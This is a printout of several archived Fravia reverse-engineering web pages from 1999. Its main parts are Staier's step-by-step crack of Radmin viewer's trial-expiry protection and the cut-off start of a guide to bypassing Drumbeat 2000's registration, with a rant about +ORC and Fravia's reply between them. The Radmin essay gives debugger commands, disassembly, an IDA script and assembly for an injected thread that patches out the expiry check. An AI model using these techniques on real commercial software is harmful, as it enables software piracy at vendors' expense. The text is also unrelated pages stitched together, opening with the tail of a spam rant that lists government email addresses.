D. Fred Jones
J. John Smith
Fred W. Jones
John Skith
Red F. Oones
John Q. Smith
Elmer Fred Jones
Copycat kid
Copycat Kid
C. John Runn
Runn John Runn
J. John Szith
Fred Z. Quones
Red Bones
Red Skeleton
Dead Bones
Sheep Clones
Ewe Clones
J. John Jith
J. JJ. Jmith
Mon O. Lith
Of course, I hope that the bots of the commercial idiots will annoy not only me, but this bunch of
american clowns as well, let's hope they will take some counter measures against "their" (95,3% "States
originated") annoying commercial spam

president@whitehouse.gov
vice.president@whitehouse.gov
first.lady@whitehouse.gov
senator@hutchison.senate.gov
sam.tx03@mail.house.gov
isp@fcc.gov

http://www.instinct.org/fravia/phony.htm (2 of 2) [2/7/2001 3:27:13 PM]


radmin.htm: Remote administrator viewer v1.1.0.1 from http://www.mtu-net.ru/radmin/

A paranoic protection: Remote


administrator viewer
3 October 1999 By Staier http://staier.cjb.net -mainly russian site
sice
idaw
tools used: custom program to dump memory locations(procdump of no use here)
Advanced patch maker.
( )Beginner (X)Intermediate (X)Advanced ( )Expert
A very interesting listing programmed by staier, that will help all readers that
are tackling this kind of targets... AND will show "paranoid" protectors the
Fravia's comment
way to obfuscate even further their code, eheh. I have slightly edited this essay,
mainly directed to advanced IDA users.
Courtesy of Fravia's page of reverse engineering

Paranoic protection (expression by Marigold) of


Radmin

Target : Remote administrator viewer v1.1.0.1 from http://www.mtu-net.ru/radmin/

let us begin investigating.


first time after starting the program we can see a nag screen with
three buttons "ok","register",and "cancel",let us move our time a year ahead.
and press "ok" button.Ups-messagebox with message:

'Evalution period is expired,enter the registration code to continue using the


program.'

so
>>bpx messageboxa and try again
pop up in sice with address c797a8 (after F11)

ok, let us disassemble the program. at first in wdasm, and what we see? nothing,
no such addresses,and within the offset from base there is no such instructions,
and it means - we have packed(or crypted ) target.
let us start procdump to view what module is in the location - :( - NONE

NUTTING! A PARANOID PROTECTION!


so going to sice

http://www.instinct.org/fravia/radmin.htm (1 of 10) [2/7/2001 3:27:19 PM]


radmin.htm: Remote administrator viewer v1.1.0.1 from http://www.mtu-net.ru/radmin/

>>addr radmin
>>d c97a8
and let us determine the bounds of memory occupied by the strange code

after some
>>d c90000
>>d c80000
...
>>d cf0000
>>d cd0000
ve can found that a module boundz with "MZ"...."PE" signatures at
c70000
and un allocated memory at
cf0000

Ok.here we are ? let us dump the memory.


as i sayed procdump is of no use in the case (and i think in most other - opinion
from my experience - may be i am just not able to undestand it) and i have quickly
written a small program, with CreateProcess and ReadProcessMemory and dumped the
memory to disk

after this i have loaded it into ida (great tool!) as binary file,setting the
load offset to c70000
and
do not create segments to on

then, in ida, i have created a 32 bit segment, named code and started my work.

first, let's

>>G c71000
and press c
so here is a code - it is clear
some time after all i have pressed here and there some keys, defining what is
code, data and offsets

and, finally applyed a flirt signatures vcrtf32 3/4/5 and mfc 32 bit

then go to our messageboxa call at c97a8


and see
such a code
LISTING 1.

code:00C7974C test eax, eax


code:00C7974E*
code:00C7974E*jmpok: ; DATA XREF: code:00C7B553vw
code:00C7974E* jnz short close_to_fin
code:00C79750 push 40h ; '@'
code:00C79752 push offset aInformation ; "Information"
code:00C79757 push offset aEvalutionPerio ; "Evalution period is
expired,\nenter the "...
code:00C7975C mov ecx, [ebp+arg_0]
code:00C7975F push ecx

http://www.instinct.org/fravia/radmin.htm (2 of 10) [2/7/2001 3:27:19 PM]


radmin.htm: Remote administrator viewer v1.1.0.1 from http://www.mtu-net.ru/radmin/

code:00C79760 call dword ptr ds:0C9721Ch


code:00C79766 xor eax, eax
code:00C79768
code:00C79768 newend:
code:00C79768 jmp return
code:00C7976D ;
---------------------------------------------------------------------------
code:00C7976D
code:00C7976D close_to_fin: ; CODE XREF: nagproc+85E^j
code:00C7976D cmp [ebp+var_1B0], 14h
code:00C79774* jbe short ok_proseed
code:00C79776 mov edx, 1Eh
code:00C7977B sub edx, [ebp+var_1B0]
code:00C79781 push edx
code:00C79782 push offset aThisProgramIsS ; "%This program is
shareware.\nYour 30-day"...
code:00C79787 lea eax, [ebp+days_left]
code:00C7978D push eax
code:00C7978E call _sprintf
code:00C79793 add esp, 0Ch
code:00C79796 push 40h ; '@'
code:00C79798 push offset aInformation ; "Information"
code:00C7979D lea ecx, [ebp+days_left]
code:00C797A3 push ecx
code:00C797A4 mov edx, [ebp+arg_0]
code:00C797A7 push edx
code:00C797A8 call dword ptr ds:0C9721Ch
code:00C797AE
code:00C797AE ok_proseed: ; CODE XREF: nagproc+84F^j
code:00C797AE ; nagproc+884^j

EOL listing

so going to 0c9721c we can see a table of addresses

...
code:00C97210 dd 77E721DFh
code:00C97214 dd 77E72575h ; DATA XREF: nagproc+730^r
code:00C97214 ; nagproc+8E4^r
code:00C97214 ; nagproc+91E^r
code:00C97214 ; nagproc+945^r
code:00C97214 ; main_prg+19A^r
code:00C97214 ; main_prg+29F^r
code:00C97218 dd 77E71C61h ; DATA XREF: nagproc+D79^r
code:00C9721C dd 77E8A590h ; DATA XREF: nagproc+495^r
code:00C9721C ; nagproc+5D7^r
code:00C9721C ; nagproc+662^r
code:00C9721C ; nagproc+702^r
code:00C9721C ; nagproc+870^r
code:00C9721C ; nagproc+8B8^r
code:00C9721C ; main_prg+2BF^r

http://www.instinct.org/fravia/radmin.htm (3 of 10) [2/7/2001 3:27:19 PM]


radmin.htm: Remote administrator viewer v1.1.0.1 from http://www.mtu-net.ru/radmin/

code:00C9721C ; code:00C7B677^r
code:00C97220 dd 77E71C53h ; DATA XREF: nagproc+9AA^r
code:00C97224 dd 77E72567h ; DATA XREF: nagproc+3FE^r
code:00C97228 dd 77E76D8Eh
code:00C9722C dd 77E74841h
code:00C97230 dd 77EB0C3Eh
code:00C97234 dd 77E73F14h
code:00C97238 dd 77E72441h
code:00C9723C dd 77E75BF5h
...

it is clear that it is a table of imported functions, but it seems to


me that strings with names of the functions and modules are absent(or erased).
here is the point to start learning ida C scripting.
after some learning and RE of availiable IDCs i have written myself the
following script

LISTING 2.

#include >idc.idc>
/*
********************************************************************************
the script is intended to recover imported functions names from dumped files with
erased fuctions names i.e. only import table with function addreses present
(c) staier from http://staier.cjb.net All rights reserved
you can use & modify it freely as far as the above comment is NOT erased
format of *.exp file:
----------------------
gdi32.dll
Number of Exported Functions = 0401 (decimal)
Addr:77EE9BB6 Ord: 1 (0001h) Name: AbortDoc
Addr:77EEA5A1 Ord: 2 (0002h) Name: AbortPath
Addr:77EDB23F Ord: 3 (0003h) Name: AddFontResourceA
Addr:77EE69BA Ord: 4 (0004h) Name: AddFontResourceTracking
Addr:77EE6C06 Ord: 5 (0005h) Name: AddFontResourceW
...
Addr:77EE80AC Ord: 401 (0191h) Name: gdiPlaySpoolStream
---------------
taken from wdasm .alf file
original file http://staier.cjb.net/fname.zip contains kernel32.exp,
advapi32.exp,gdi32.exp
user32.exp
********************************************************************************/
static getfuncnames()
{
auto c,c2,c3;
auto hndl,start;
hndl=fopen(AskFile(0,"*.exp","enter export file name"),"rt");
Message("opening exports file ");
if (!hndl) {Message("opening exports file failed ");
Exit(1);
};

http://www.instinct.org/fravia/radmin.htm (4 of 10) [2/7/2001 3:27:19 PM]


radmin.htm: Remote administrator viewer v1.1.0.1 from http://www.mtu-net.ru/radmin/

start=AskAddr( BADADDR,"enter start address");


if (start == BADADDR)
{Message(" can not obtain an address");
Exit(1);
};
c=readstr(hndl);
Message("module export:%s ",c);
c=readstr(hndl);
Message("starting analyse from :%x \n",start);
Message(c);

while ((c=readstr(hndl))!=-1)
{
c2=start;
Message(c);
Message("address:%s,name:%s \n",substr(c,6,14),substr(c,38,strlen(c)));
while (Dword(c2)!=0) //end of table for a given imported module

{// Message("address:%s,indisasm:%x \n",substr(c,6,14),Dword (c2)); -for debugging


if (Dword (c2)==xtol(substr(c,6,14)))
{MakeName(c2,substr(c,38,strlen(c)-1));
MakeComm(c2,"exported function");
Message("found function");
break;
}
else c2=c2+4;
};
};
fclose(hndl);
}

static main()
{
getfuncnames();
}

EOL 2.
so starting the script here and there we'v got:

code:00C97210 BeginPaint dd 77E721DFh ; exported function


code:00C97214 SendMessageA dd 77E72575h ; DATA XREF: nagproc+730^r
code:00C97214 ; nagproc+8E4^r
code:00C97214 ; nagproc+91E^r
code:00C97214 ; nagproc+945^r
code:00C97214 ; main_prg+19A^r
code:00C97214 ; main_prg+29F^r
code:00C97214 ; exported function
code:00C97218 ReleaseDC dd 77E71C61h ; DATA XREF: nagproc+D79^r
code:00C97218 ; exported function
code:00C9721C MessageBoxA dd 77E8A590h ; DATA XREF: nagproc+495^r

http://www.instinct.org/fravia/radmin.htm (5 of 10) [2/7/2001 3:27:19 PM]


radmin.htm: Remote administrator viewer v1.1.0.1 from http://www.mtu-net.ru/radmin/

code:00C9721C ; nagproc+5D7^r
code:00C9721C ; nagproc+662^r
code:00C9721C ; nagproc+702^r
code:00C9721C ; nagproc+870^r
code:00C9721C ; nagproc+8B8^r
code:00C9721C ; main_prg+2BF^r
code:00C9721C ; code:00C7B677^r
code:00C9721C ; exported function
code:00C97220 GetDC dd 77E71C53h ; DATA XREF: nagproc+9AA^r
code:00C97220 ; exported function
code:00C97224 InvalidateRect dd 77E72567h ; DATA XREF: nagproc+3FE^r
code:00C97224 ; exported function
code:00C97228 SetScrollPos dd 77E76D8Eh ; exported function
code:00C9722C SetScrollRange dd 77E74841h ; exported function
code:00C97230 ShowScrollBar dd 77EB0C3Eh ; exported function
code:00C97234 SetWindowPos dd 77E73F14h ; exported function
code:00C97238 GetWindowRect dd 77E72441h ; exported function
code:00C9723C SetWindowLongA dd 77E75BF5h ; exported function

and our code fragment is looking no like this


LISTING 3.

code:00C7974C test eax, eax


code:00C7974E*
code:00C7974E*jmpok: ; DATA XREF: code:00C7B553vw
code:00C7974E* jnz short close_to_fin
code:00C79750 push 40h ; '@'
code:00C79752 push offset aInformation ; "Information"
code:00C79757 push offset aEvalutionPerio ; "Evalution period is
expired,\nenter the "...
code:00C7975C mov ecx, [ebp+arg_0]
code:00C7975F push ecx
code:00C79760 call ds:MessageBoxA
code:00C79766 xor eax, eax
code:00C79768
code:00C79768 newend:
code:00C79768 jmp return
code:00C7976D ;
---------------------------------------------------------------------------
code:00C7976D
code:00C7976D close_to_fin: ; CODE XREF: nagproc+85E^j
code:00C7976D cmp [ebp+var_1B0], 14h
code:00C79774* jbe short ok_proseed
code:00C79776 mov edx, 1Eh
code:00C7977B sub edx, [ebp+var_1B0]
code:00C79781 push edx
code:00C79782 push offset aThisProgramIsS ; "%This program is
shareware.\nYour 30-day"...
code:00C79787 lea eax, [ebp+days_left]
code:00C7978D push eax

http://www.instinct.org/fravia/radmin.htm (6 of 10) [2/7/2001 3:27:19 PM]


radmin.htm: Remote administrator viewer v1.1.0.1 from http://www.mtu-net.ru/radmin/

code:00C7978E call _sprintf


code:00C79793 add esp, 0Ch
code:00C79796 push 40h ; '@'
code:00C79798 push offset aInformation ; "Information"
code:00C7979D lea ecx, [ebp+days_left]
code:00C797A3 push ecx
code:00C797A4 mov edx, [ebp+arg_0]
code:00C797A7 push edx
code:00C797A8 call ds:MessageBoxA
code:00C797AE
code:00C797AE ok_proseed: ; CODE XREF: nagproc+84F^j
code:00C797AE ; nagproc+884^j

EOL 3.
here we are
we can see that passing the jumps at
code:00C7974E and
code:00C79774*
we can pass the expiration routine right way
let us therefore go to softice
and
>>addr radmin
>>bpx 00C7974E

and let us gentle cpass the gumps changing the flag register

ok, me have passed , but after trying to connect to radmin server we are crashed
what is the hell?
the answer is that there is a control sum check on the code of verification routine
and we can be aware of the fact by setting
bpm 00C7974E r
it will be a pup up of sice in address 00009c... (another hidden module)
the point is that sice bpx is an int 3 instruction embedded into the code
so let us clear the bpx after passing the routine

this time everything works fine.

now it's time to write a path for the program.


we must perform 3 steps:
1.wait for code will be unpacked
2.change jump at 00C79760 to our code
3.restore virginity and jump to 00C797AE

i have used my favourite method of installing new thread into the code.
me must first to chanje entrypoint and virtual size of .code cection of the program
200h would be fine and in hex editor fill the place of our code with nops and et the
end of it jmp to old entrypoin. (this is because of ida's behavour, that translates
unused bytes to ORG -org 400 in the case) and let us code our prog directly in ida.

LISTING 4(from produced ASM file)

start: ; "KERNEL32.dll"

http://www.instinct.org/fravia/radmin.htm (7 of 10) [2/7/2001 3:27:19 PM]


radmin.htm: Remote administrator viewer v1.1.0.1 from http://www.mtu-net.ru/radmin/

push offset aKernel32_dll


call cs:GetModuleHandleA
push eax
push 44h
push eax
call cs:GetProcAddress
mov CreateThread, eax
pop eax
push eax
push 6Dh
push eax
call cs:GetProcAddress
mov ExitThread, eax
pop eax
push 243h
push eax
call cs:GetProcAddress
mov Sleep, eax
push offset return
push 0
push 0
push offset thr_fn
push 0
push 0
call cs:CreateThread
jmp entry ; _WinMainCRTStartup
;
db 1 ;
db 0 ;
;

thr_fn: ; DATA XREF: .text:01409D99o


push 5DCh
call cs:Sleep
mov eax, base_of_1_9c000;address of dword, containing address of
module ? wich unpacks module at c90000

loc_0_1409DC1:
add eax, 2FA18h
mov ebx, [eax]
add ebx, 272ECh

loc_0_1409DCE: ; CODE XREF: .text:01409DD4j


cmp dword ptr [ebx], 0
jz short loc_0_1409DCE
sub ebx, 272ECh
add ebx, 974Eh
mov byte ptr [ebx], 0E9h
mov eax, 7906ADh
sub eax, ebx
add eax, 0C7974Eh
mov [ebx+1], eax
push 0
call ss:ExitThread
retn 4

http://www.instinct.org/fravia/radmin.htm (8 of 10) [2/7/2001 3:27:19 PM]


radmin.htm: Remote administrator viewer v1.1.0.1 from http://www.mtu-net.ru/radmin/

;
mov eax, base_of_1_9c000 ;jump from target code here
add eax, 2FA18h
mov eax, [eax]
add eax, 974Eh
mov byte ptr [eax], 75h ;restore
mov dword ptr [eax+1], 68406A1Dh ;virginity
add eax, 60h
push eax
xor eax, eax
retn ;jump back to target code
;
xor eax, eax
retn
;
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
...

EOL 4.
after writing,produce the DIFF file right from the Ida IDE and make patch. that's
all.

some notes

1. i do not bother to show you all the right addreses, as we are reversers and we can
find them easily. They can be found by setting "bpm ... w" to start addresses of
hidden modules.
Note that there are other modules.(dump them and disassemble them, using described
techniques...)
by the way, i have spent about a week to handle the tasks (yeah - i'm not a
reverser
GOD).
2. the patched program works only on nt 4.0 rus.(i think relocations problem is the
point,but i have no other WIN32 OS for debugging.
3. using of Sleep api sucks, i know and i know now how to do this right way.

http://www.instinct.org/fravia/radmin.htm (9 of 10) [2/7/2001 3:27:19 PM]


radmin.htm: Remote administrator viewer v1.1.0.1 from http://www.mtu-net.ru/radmin/

4. i have not eliminated nagscreen .it is possible.


5. my skills in writing assembler and writing in English suck... so what?
6. The program http://www.mtu-net.ru/radmin/ is great, netbus and BO is far behind
it, it coasts only 25$ and it can be turned back online by resetting clocks back.
(and must be by reinstalling).
7. DMITRI ZNOSHKO is a good programmer: it is no doubt that reversing this program in
order
to use it was not worth $25.
8. thanks to fravia+, +ORC, and all other teachers and publishers who did show me the
way to RE art.

(c) 1999 Staier from http://staier.cjb.net -mainly russian site

Ob Duh
I wont even bother explaining you that you should BUY programs if you intend to use them for a longer period than the
allowed one. Should you want to STEAL software instead you don't need to crack protection schemes at all: you'll find
everything on most Warez sites, complete and already regged, farewell, don't come back.

You are deep inside fravia's pages of reverse engineering, choose your way out:

homepage links search_forms +ORC how to protect academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/radmin.htm (10 of 10) [2/7/2001 3:27:19 PM]


parano1.htm: The way things are different

The way things are different


Things are the way they are, because that is the
way it is. If it were any different, things would Reality Cracking
have been different.
5 October 1999 by vanrigter
slightly edited
Courtesy of Fravia's page of reverse engineering
by fravia+
I'm publishing this small 'rant' because it is NOT the first time
fra_00xx
that someone calls my attention on this kind of (supposed)
981006
realities. In fact the following essay deserves a long comment,
vanrigter
that I have duly made (on the fly, sorry for the shortcomings) yet
1000
I'll publish it at the bottom. You first read this and form your own
RC
opinion, then you 'll read my comments and see if we are thinking
PC
the same...
There is a crack, a crack in everything That's how the light
gets in
Rating (X)Beginner ( )Intermediate ( )Advanced ( )Expert

Im not sure if this will get published, because it explores the notion that +ORC is not whom we might
think he is
There is no proof just interesting brain food.

The way things are different


Things are the way they are, because that is the way it is. If it
were any different, things would have been different.
Written by vanrigter

Introduction
In this "dog eats dog" world were nothing is sacred, it is nice to have an ally in the fight for justice the
fight for a free web, an ally in the form of Fravia. Or is it?

Tools required

http://www.instinct.org/fravia/parano1.htm (1 of 5) [2/7/2001 3:27:22 PM]


parano1.htm: The way things are different

1 Brain (1/2 a Brain may not grasp it all)

Target's URL/FTP
Inside your skull

Target History
Some people dont use their brains, but just rely on the flow of the tide to take them places.

Essay
Hi Fravia

I have long been enjoying your pages and found it highly educational, even enligtening.

In the back of my mind the following idea has taken shape wich could change the way some percieve
reality. Dont take this as a personall attack, some could just think it is true.

Let us say my name is Bill Gates and I have a nett worth of billions and I am the CEO of the largest
company in the world. What is there left to achieve?

Well let us not go into all the mumblings of the masses of monopolies and all the known ideas of being
world ruler etc.

Let us say I am bored stiff in this corporate setup surrounded by people who cant program and has no
idea of life. To add excitement to life, I give myself the name +ORC and gather around me some net
buddies, near fanatics, whom I incite to form a closely knit band of people calling themselves crackers.
With my High Priests neatly following my way of thinking, I retreat into obscurity to neatly monitor the
progress of my handiwork, coming out of hiding just to keep them on track. One of my followers, an
extremeley bright fellow, Fravia+ surpasses all my expectations and forms the first free university on the
net, spreading the truth like a virus. In the process all flaws and cracks of my billion dollar company are
exposed people are contributing hours of their time to scrutinize all the programs my company has
written, as well as that of my oposition.

In effect my manipulating mind has created my own personal quality controll section and research
section, working for free.

Its like having a double agent, a real wolf in sheeps clothing.

Back to reality as we thought we knew it.

Fravia+ these pages are truly inspirational, but if we realy open our eyes WIDE + 1, what do we see. Let

http://www.instinct.org/fravia/parano1.htm (2 of 5) [2/7/2001 3:27:22 PM]


parano1.htm: The way things are different

me tell you what you could see.

As an example, take anonamyzer.com. In your writings on anonimity you encourage people to use it. But
let us asume devious old Bill is behind it, WHY? - well why not. Another wolf in sheeps clothing. If you
want to know who all these crackers are which are hurting your site, but you can't find out because they
are annonymous, what do you do. You spend a few thou on a server, call it annonymous.com , let one of
your trusted high priests preach it as gospel, and all the converted come to you. It is the same as if the
police wishes to catch thieves and put the following advertisment in the paper GET YOUR
FINGERPRINTS REMOVED PERMANENTLY, NO MORE BEING LINKED TO ANY THEFT SITE.
And a very trusted thief in the thieving comunity convinces all his buddies how great it worked for him.
And in the process the police get a nice database of potential thieves. In the process of removing the
fingerprints, they smudge it in such a way that the special smudge detector can identify each smudge to a
name in the database, and voila you are identified much easier than before.

What is the end result of your site, should you stop?

Let us examine your philosophy, you want to teach-, educate the masses, a very noble thought, To sound
a bit like +ORC (see I actually like the guy), the zen way of looking at it. The idea of ying yang is
aplicable here, the good and the bad the one being contained within each other, in other words as you
increase the knowledge of the masses, you also increase the knowledge of the money hungering, little
people munching, corporate world out there, the exact people you are out to fight. So in the end the game
stays the same its just the playing field that becomes smaller.

It is an ongoing battle in wich you cannot stop, because if you will, someone else will do it (maybe not as
good), So keep up the good work.

Be Paranoid

vanrigter

my email adress: vanrigter(at)mailcity(point)com

Final Notes
(I do not know Fravia+, +ORC or other famous cracker personally, this short piece is not intended to
damage anybodys reputation, merely to rattle your cage into percieving things differently, In other
words, If this is the truth or not, would the end result not stay the same?)

Fravia's postponed comments

Let's start (first point) stating that this kind of theories are typical semplifications-exaggerations: When
people try to squeeze facts into a paranoical world-vision they either begin to nuke (or napalm)

http://www.instinct.org/fravia/parano1.htm (3 of 5) [2/7/2001 3:27:22 PM]


parano1.htm: The way things are different

foreigners or they start to believe that Gates (or Pamela Anderson, or Hussein, or whoever happens to
be under the lights) is the main font of all evils. Paranoia is like a sweetbar, the more you suck the more
you suck.
I don't find at all credible the idea that Bill Gates could (personally) care in the least about what we are
doing, nor that he would have had, back in 1995, any sound knowledge whatsoever about reverse
engineering matters (maybe now he as acquired such knowledges, in the mean time, personally or
through lakeys...).
As a matter of fact I have, searching the web, the impression that nowadays even monkeys, donkeys and
university professors are quickly and enthusiastically moving over to our reversing world... eheh.
Granted, people like Gates could have paid someone, back in 1995, to spread something like +ORC tut,
but that would have been on the short, medium and long term pretty contra-productive from his/her point
of view and, moreover, it would have spoiled, IMO, the very purpose you are "discerning" behind his
supposed moves...
See: either reversing software gives more power to the users, or it gives more information, feedback,
whatever to the slavemasters. If the latter were true, I believe you would see it much more implemented
and much less (legally) hindered.

Second point: you over-estimate (a lot) both +ORC's, the +HCU and my own contributions: the
reversing scene is (and was from the beginning) MUCH more deep and complicated than you seem to
think: there are (and have been) THOUSANDS of very good reversers (thanks God!) everywhere!
+ORC did not "create crackers" at all... they have been there since the beginning (I myself have been
cracking protections on my wackely Sinclair Spectrum already in the 80's...)
In fact you'll nowadays find outstanding reversers (if you look hard enough) everywhere: as members of
the crackers' groups, inside the (huge and clever) graphic "demo" scene, among the virii wizards,
between the "keygen" cracking obsessed and even (though not so frequently IMO) inside the
"plaudering" IRC scene :-)
And, besides, there are also hackers, cryptographers, clever protectors, html wizards, old unix masters...
you name them... even trainers wizards and people cracking on-line games have learned all tricks of the
trade... without us!
See: be humble! Even when you believe you have discovered a new planet, for others it's just hot water...
We are just part of a much broader movement (luckily, since history teaches us that we have some
chances only when we are PART of the many waves, neither "the only one" nor "the first" wave... only
primadonnas and ego-feeble kids may be bothered by the fact that they are just part of a throw of arrows,
neither the first nor the quicker one),
Yes, we are part of a momentum-gathering movement that - from many paths and directions - is slowly
converging towards a simple truth: the necessity to acknowledge, in a more and more 'abstract' software
world, the fundamental importance of assembly (and reversing) for our "everyday life" reversing
purposes (and anyone reading the reality cracking essays on my site knows how important this is).
It is a pendulous movement... a reaction: a bit of yang after the ying push (I'm following vanrigter's
language :-) the more "they" (whoever "they" are, btw... it would be about time that we better define our
targets...) would like you to be a Guinea Pig or to slurp advertisements and smile while drooling, the
more you actually -all of a sudden- do NOT happen to want to be a Guinea Pig, to slurp advertisement
or to drool.
Notice also how they HAVE TO pay even slaves, nowadays, in order to compel them to waych ads...

See: you don't need an +ORC to catalize that. Any sparkle would (and will :-) suffice.

http://www.instinct.org/fravia/parano1.htm (4 of 5) [2/7/2001 3:27:22 PM]


parano1.htm: The way things are different

Third point: the plan you accuse Gates of: let's have feedback for free on my bugs, is exactly what M$oft
(and not only) is doing RIGHT NOW with the beta versions that do not work, with the bugs that have to
be corrected by the end user and so on. Have a look at a standard Micro$oft disclaimer and you'll woner
how anyone in his right mind could come to the idea of buying (i.e. spending real money for) such poorly
implemented software...

I did advice Anonymizer? Yes, indeed, (a long) time ago I did in effect encourage people to use it (and
other half-anonymizing tools as well, btw): I insist: better than nothing. See: there are scripts for those
using PGP ("ah-ahhh! This mec uses PGP, from now on he should be scrutinized"), there are scripts for
those using the words "crack", "kalashnikow", "detonator" and so on anywhere on the web... never
believe you'r NOT being checked. From this point pf view I must agree with vanrighter... you'll NEVER
be paranoid enough.
Don't think, anyway, that you have any good and real chance to keep and defend your anonymity on the
web (unless you go to great lengths to protect yourself, which is extremely boring).
Moreover keep in mind that anonymity counter measures evolve with a speed we cannot even hope to
follow: and nowadays I would give a different advice than the anonymizer... for instance have a look at
the very recent (if I'm not mistaken they have been put up yesterday) Iefaf's proxy and tools pages: these
links ARE really useful: http://altern.org/cortomalt/tools.htm and
http://altern.org/cortomalt/anonlink.htm
So: this said paranoia is mostly dangerous, only seldom useful, my dear vanrigter...

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links search_forms +ORC how to protect academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/parano1.htm (5 of 5) [2/7/2001 3:27:22 PM]


so_macr1.htm: Sojourner's Drumbeat

Macromedia's Drumbeat 2000


There's Bugs in the Woodwork
Not Assigned
Rsagnt32.dll upgrade August 1999
8 october 99 by Sojourner
slightly edited
Courtesy of Fravia's page of reverse engineering
by fravia+
The first impression you'll get reading this is that it is quite a messy
essay. Yes, but the second time you read it, especially if you are
experimenting 'on line' with the target at the same time, is that it is
a very clever essay as well. Sojourner will lead you through dark
fra_00xx codewoods, and at the end you'll be out, under the sun, on the other
981008 side of the codeforest...
Sojourner This essay is quite important for protectors as well, I believe:
0100 what's the point of creating a protection scheme monster like this
NA one if one actually just needs ole wdasm to reverse it? I also like
PC Sojourner's approach of NOT giving a "ready-made" cracking
solution for the zombies out there.
Only one question for Sojourner: would it have been possible, par
chance, to land inside this protection scheme -as well- through the
"lstrcmpiA" call?
There is a crack, a crack in everything That's how the light gets
in
Rating ()Beginner (X )Intermediate ( )Advanced ( )Expert

This is nice little upgrade to Macromedia's electronic online purchasing schema . This was very
challenging and exciting at the same time. It is easy to get complacement with your knowledge and then
get lazy, but if you keep up, these changes made by the software giants will not hurt so much.
Sojourner.

There's Bugs in the Woodwork


Cleaning up Drumbeat 2000 before using
Written by Sojourner

Introduction

http://www.instinct.org/fravia/so_macr1.htm (1 of 10) [2/7/2001 3:27:29 PM]


so_macr1.htm: Sojourner's Drumbeat

Wow! Macromedia really took me by surprise with this new product line. Yes, I know that Drumbeat is
not new but for Macromedia, but it is a new acquisition for them. One thing is for sure in this industry,
you can not sit on your laurels thinking you've got it made. See more below in main text.

Tools required
Trusty ole w32dasm 8.9 or whatever version you care to work with--Nothing else is needed--hard to
believe isn't it?

Target's URL/FTP
Go to the Macromedia web site and follow the links-- www.macromedia.com

Program History
There is a significant history with Macromedia and especially rsagnt32.dll. You may see some of my
other works here on fravia's site. :-)
Please don't hesitate to try some of the older stuff. It's a lot easier to play with and learn. I already
checked the web site, there's plenty to play with.

Essay
These programmers surprised me with a couple of new twists this time round. Let's go ahead and start.
After you have downloaded the trial version of Drumbeat 2000 and installed on your system, go ahead
and run it a few times to see what it looks like inside. You'll see the familiar Macromedia splash screen
with its Buy Me/Try Me option. You can do whatever you want to start with until you're tired of piddling
around with it. Are you ready to go now? Start your w32dasm v8.9 and load the drumbeat.exe (208kb)
Not very big is it? That's good for us because it only takes a very short while to decompile. As usual,
save right away and then have a look around the string listings and look for any goodies. Did you see
anything useful? Now have a look in the imported function section, note especially in the Kernel 32.dll
section--you will see DebugBreak. Please a note of the locations where these are found, 'cause they will
come back to haunt you. This is one of the new updates Macromedia has made in regards to its software.
It proved daunting to me at first. I just finished a paper back in June on the "Flash 4", with an update in
the rsagnt32.dll, and I did not encounter this kind of api call then.
So this is a very recent change in their programming direction. Keep heart though fellow +HCU students,
because "There is a crack, a crack in everything That's how the light gets in." We'll do the same to
this schema that we have done to many more in the past. Are you writing all this down? Do keep a
notebook--it will help you tremendously. This stuff is not going away. As you can see, there is increased
complexity in the market. This is most interesting for reversers! Our notes will ever increase. Now go
ahead and actually run the Drumbeat 2000 through w32dasm. Wasn't that fun? Kicked your A** right on
out of there didn't it? You didn't even really get a chance there did you? Alright, go ahead and try again,
and again. You're going to find it most difficult to break through in there although you may be able to
nop some calls to the DebugBreak to help you eventually. It really isn't necessary, though.

http://www.instinct.org/fravia/so_macr1.htm (2 of 10) [2/7/2001 3:27:29 PM]


so_macr1.htm: Sojourner's Drumbeat

Okay- I spent quite a few frustrating hours messing with this stuff before I got the light. Part of the
problem is having to restart your session from scratch every time you're booted out. It's just plain
time-consuming. Fortunately for us, w32dasm allows us to break in on a process that's already running. I
like that a lot! So we'll be a little bit sneaky with this prog and try the back or side door. Before we do
that though, you need to stop and go get the rsagnt32.dll and decompile it in w32dasm. You do want to
buy this, don't you? I thought so. I mean, it's not everyday you get to go out and get a new ASP tool
right? You might be wondering how come we don't need any hex editor this time. Wellllll---- to answer
that you need to go ahead and make a few changes to one of the .dlls, like maybe rsagnt32.dll.. BUT
PLEASE, make a copy of it first. You may also want to make a clean copy of the Drumbeat.exe before
we might accidentally ruin it, too. Wheew, glad to have that done. Sorry I didn't mention that earlier. I
routinely do that before I start to work. I've inadvertently messed up several goods progs before I got into
that habit. If you went ahead and made those changes as suggested earlier, then you can go ahead and run
Drumbeat 2000 outside of w32dasm. You probably noticed it gave you an error message while trying to
load the .dll you changed. So it has internal CRC check somewhere. I must admit that this is another new
feature. Didn't I tell you some things have changed? I didn't bother with the error checking routine
actually. As you will see it all becomes a moot point soon, so it won't matter.
Alright, are you finished messing now? We've got to get back to work. Remember, we were fixing to go
through the side door. First we'll check to see if it's open. Be sure Drumbeat 2000 is running outside of
w32dasm on its own. Go ahead and tell them you want to buy it this time. You'll get a screen setup that
wants a bunch of personal stuff and purchase info. I told you in the not too far past that I would help you
bypass the credit card requirement on the rsagnt32.dll. Lo and behold, I don't have. Isn't that funny? Here
is another neat feature. Just tell them you want to pay by mail and you will get a completion screen with
a thank you and the oppportunity to print your file to send it to them. You really don't have to print the
acknowledgement, but you can if you want to. Just finish the transaction. Any debugger bullcrap? Not on
your life friend. Now wasn't that the easiest you ever bought a piece of killer software. If only it was that
easy---well it almost is fellow HCUer. You can go back now and choose buy again and you'll get a new
screen that wants you're Unlock Code. Just for your own info, once you enter in whatever you want, don't
go about changing the stuff and then go for a new registration. The reason is you'll be reassigned a new
"Personal Code." This code in conjunction with 2 other internal variables-- PQYZMERUOA--which is at
1000c957 and JIKLICBXZC- which is at 1000c98b, calculates whether you're input string is right or
wrong. This will become clearer a little later on. By the way these variables are very old and have been in
several versions of rsagnt32.dll from years ago. Some you out there may have the necessary skill to
create a keygen from this section of code. Additionally, you can see the variables in the decompiled
listing from inside w32dasm along with the actual serial numbers-there are two to choose from- that you
will need later to finally complete the purchase process. These variables really don't help that much as
